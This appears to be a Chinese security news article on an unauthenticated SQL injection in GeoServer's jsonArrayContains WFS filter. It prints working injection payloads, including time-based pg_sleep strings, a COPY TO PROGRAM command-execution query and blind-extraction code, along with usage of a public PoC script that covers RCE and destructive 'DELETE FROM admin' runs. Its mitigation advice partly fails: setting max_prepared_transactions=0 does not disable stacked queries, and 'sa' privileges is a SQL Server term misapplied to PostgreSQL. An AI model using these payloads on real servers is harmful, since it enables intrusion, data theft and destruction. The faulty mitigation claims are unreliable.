GeoServer jsonArrayContains 未授权SQL注入0day(附PoC)

导语:又一个重量级0day曝光。安全研究人员”秋风”(@q1uf3ng)近日公开了GeoServer中jsonArrayContains函数的未授权SQL注入漏洞。攻击者无需任何认证,即可利用该漏洞注入恶意SQL。在数据库为PostgreSQL且拥有sa权限的情况下,可直接实现远程代码执行(RCE)。目前已公布Python PoC。


一、漏洞概述

本次披露的漏洞存在于GeoServer的WFS(Web Feature Service)接口中,具体位于jsonArrayContains函数的CQL_FILTER参数处理逻辑。

漏洞发现者”秋风”称,这是一个”0day”——意味着在官方发布前就已经被公开披露。该漏洞的特殊之处在于:

  • 无需认证:攻击者无需任何凭据即可触发漏洞
  • 攻击链清晰:SQL注入 → PostgreSQL RCE
  • 影响面广:GeoServer是开源GIS(地理信息系统)平台,被全球众多组织和政府机构使用

二、漏洞原理

2.1 根本原因

漏洞的核心问题出在GeoTools的FilterToSqlHelper.constructEquality方法。该方法在处理jsonArrayContains函数时,将expected参数的值直接写入SQL字符串,而仅对JSON pointer进行了转义

jsonb_path_exists("data"::jsonb, '$ ? (@.a == "<VALUE>")')

其中就是expected参数的值。如果攻击者在中插入单引号,即可突破字符串字面量的限制:

<VALUE> = x') AND (SELECT * FROM (SELECT pg_sleep(4)) a) IS NOT NULL -- 

最终拼接出的恶意SQL:

jsonb_path_exists("data"::jsonb, '$ ? (@.a == "x') AND (SELECT * FROM (SELECT pg_sleep(4)) a) IS NOT NULL -- ")')

单引号提前关闭了字符串字面量,后面的SQL代码得以执行。

2.2 请求示例

正常的WFS GetFeature请求:

http://target:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=jsonArrayContains("data",'/a','value')=true

恶意构造的注入请求,通过CQL_FILTER参数注入SQL:

CQL_FILTER=jsonArrayContains("data",'/a','x'); SELECT pg_sleep(4) -- ')=true

2.3 影响条件

该漏洞的利用取决于后端数据库类型和权限配置:

数据库利用条件后果
PostgreSQL(sa权限)启用堆叠查询(stacked queries)直接RCE,通过COPY TO PROGRAM执行系统命令
PostgreSQL(普通用户)启用堆叠查询SQL注入(blind),可执行任意SQL
PostgreSQL(任意用户)禁用预编译语句盲注数据提取(时间ベース),无需sa权限
其他数据库未测试可能存在注入但无法RCE

三、PoC分析

安全研究人员portbuster1337根据”秋风”公布的漏洞信息,开发了完整的Python PoC脚本,支持三种攻击模式。

3.1 工具参数说明

python3 jsonarraycontains_rce.py -i <目标IP> -p <端口> [选项]

必选参数(三选一):
  -c CMD    OS命令RCE(需要sa权限 + pg_execute_server_program)
  -s "SQL"  执行任意SQL(blind,需要堆叠查询)
  -x [TABLE] 盲注提取数据(即使禁用预编译语句也能用,无需sa权限)

可选参数:
  -t TYPENAME   WFS图层类型名(默认:vulhub:example)
  -r PROPERTY   json/jsonb列名(默认:data)
  -l LIMIT      -x模式最多提取行数(默认:3)

3.2 模式一:命令执行(RCE)

当PostgreSQL具有sa权限且启用堆叠查询时,可直接执行系统命令:

python3 jsonarraycontains_rce.py -i 192.168.1.100 -p 8080 -c "id > /tmp/o.txt"

注入的SQL:

inject = "x') ; COPY (SELECT 1) TO PROGRAM 'id > /tmp/o.txt' -- "

3.3 模式二:SQL注入(blind)

执行任意SQL语句(INSERT/UPDATE/DELETE/DROP等):

python3 jsonarraycontains_rce.py -i 192.168.1.100 -p 8080 -s "DELETE FROM admin"

3.4 模式三:盲注数据提取

即使禁用预编译语句,仍然可以通过时间延迟进行数据提取:

# 提取数据库名和所有表名
python3 jsonarraycontains_rce.py -i 192.168.1.100 -p 8080 -x

# 提取指定表的列名和数据
python3 jsonarraycontains_rce.py -i 192.168.1.100 -p 8080 -x users -l 10

盲注原理:利用pg_sleep()结合二分查找,逐一猜测字符。

# 时间延迟验证条件是否为真
inject = "x') AND (SELECT * FROM (SELECT pg_sleep(CASE WHEN <条件> THEN 4 ELSE 0 END)) a) IS NOT NULL -- "

# 二分查找字符
cond = "ascii(substr((<表达式>),%d,1)) > %d" % (pos, mid)

3.5 核心代码片段

def build_cql(prop, inject):
    # 仅对属性名转义,expected值直接拼接——漏洞根源
    return 'jsonArrayContains("%s", '/a', '%s') = true' % (prop, cql_quote(inject))

def build_url(host, port, typename, cql):
    params = {
        "service": "wfs",
        "version": "1.0.0",
        "request": "GetFeature",
        "typeName": typename,
        "CQL_FILTER": cql,
    }
    return "http://%s:%s/geoserver/ows?%s" % (host, port, urllib.parse.urlencode(params))

四、漏洞时间线

时间事件
2026-08-12安全研究人员”秋风”在Twitter上公开披露该0day
2026-08-12portbuster1337根据漏洞原理发布Python PoC
2026-08-13安全社区开始广泛讨论和验证
截至发稿GeoServer官方尚未发布官方安全公告和修复补丁

五、影响范围

GeoServer是开源GIS服务器,被广泛应用于:

  • 政府地理信息系统
  • 智慧城市平台
  • 土地利用规划系统
  • 自然资源管理
  • 军事/国防地理信息

截至目前,GeoServer官方尚未发布该漏洞的CVE编号和修复版本。考虑到该漏洞已被公开披露且PoC已发布,预计官方将在近期发布安全公告。


六、修复与缓解

官方修复:等待GeoServer官方发布安全更新,建议关注官方安全公告。

临时缓解措施

  1. 网络层隔离:限制GeoServer的公网暴露,仅允许受信任的IP访问
  2. WFS接口限制:在Web应用防火墙(WAF)或API网关上对CQL_FILTER参数进行严格过滤
  3. 数据库权限最小化:避免将PostgreSQL配置为sa权限运行GeoServer数据存储
  4. 禁用堆叠查询:在PostgreSQL中设置max_prepared_transactions=0,但这可能影响应用功能
  5. 日志监控:重点关注包含单引号和SQL关键字的异常WFS请求

检测建议

# 检查GeoServer版本
curl http://target:8080/geoserver/rest/about/version.json

# 检查WFS接口是否可访问
curl "http://target:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetCapabilities"

七、总结

本次”秋风”公开的GeoServer jsonArrayContains SQL注入0day,再次提醒我们:

  1. CQL_FILTER不可信:用户输入的CQL_FILTER参数必须经过严格的输入验证
  2. 参数化查询的盲区:即使使用了参数化查询,如果参数直接拼接到字符串字面量中(如JSON path),仍可能产生注入
  3. 数据库权限最小化:避免以sa权限运行应用数据库,将权限控制在最低需求

该漏洞的PoC已公开,建议使用GeoServer的组织尽快评估风险并采取缓解措施,同时密切关注官方安全更新。

版权声明:本文由华盟网原创发布,保留所有权利。

© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容